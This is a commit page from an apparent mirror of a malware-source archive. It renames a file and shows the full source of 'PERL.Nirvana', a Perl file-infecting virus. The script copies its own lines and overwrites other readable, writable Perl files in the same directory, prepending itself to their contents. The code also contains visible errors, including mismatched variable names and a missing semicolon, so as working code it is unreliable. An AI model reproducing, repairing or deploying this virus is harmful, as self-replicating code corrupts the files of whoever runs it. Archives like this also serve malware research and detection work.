daniel/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2026-06-16 15:59:24 +00:00
Code Issues Projects Releases Wiki Activity

Rename Virus.Perl.Nirvana to Virus.Perl.Nirvana.a

Browse Source
This commit is contained in:
vxunderground
2020-11-14 01:37:47 -06:00
committed by GitHub
parent 4bdc474967
commit 618ec2f7fe
1 changed files with 0 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Perl/Virus.Perl.Nirvana.a
+30
View File
@@ -0,0 +1,30 @@
# Nirvana RuLeZ the world
# PERL.Nirvana
# by Second Part To Hell
# Thanks to SnakeByte for your tutorial!
open(file,$0);
@nirvana=<file>;
@nirvana=@nirvana[0...31]
close(file);
foreach $FileName (<*>)
{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open (File, "$FileName");
@Lithium=<File>;
close(File);
if ((@Lithium[1] =~ "Nirvana") or (@Lithium[2] =~ "Nirvana"))
{
if((@Lithium[0] =~ "perl",,i) or (@Lithium[1] =~ "perl",,i))
{
open(sliver, ">$FileName");
print sliver @Nirvana;
print sliver @Litium;
close (sliver);
}
}
}
}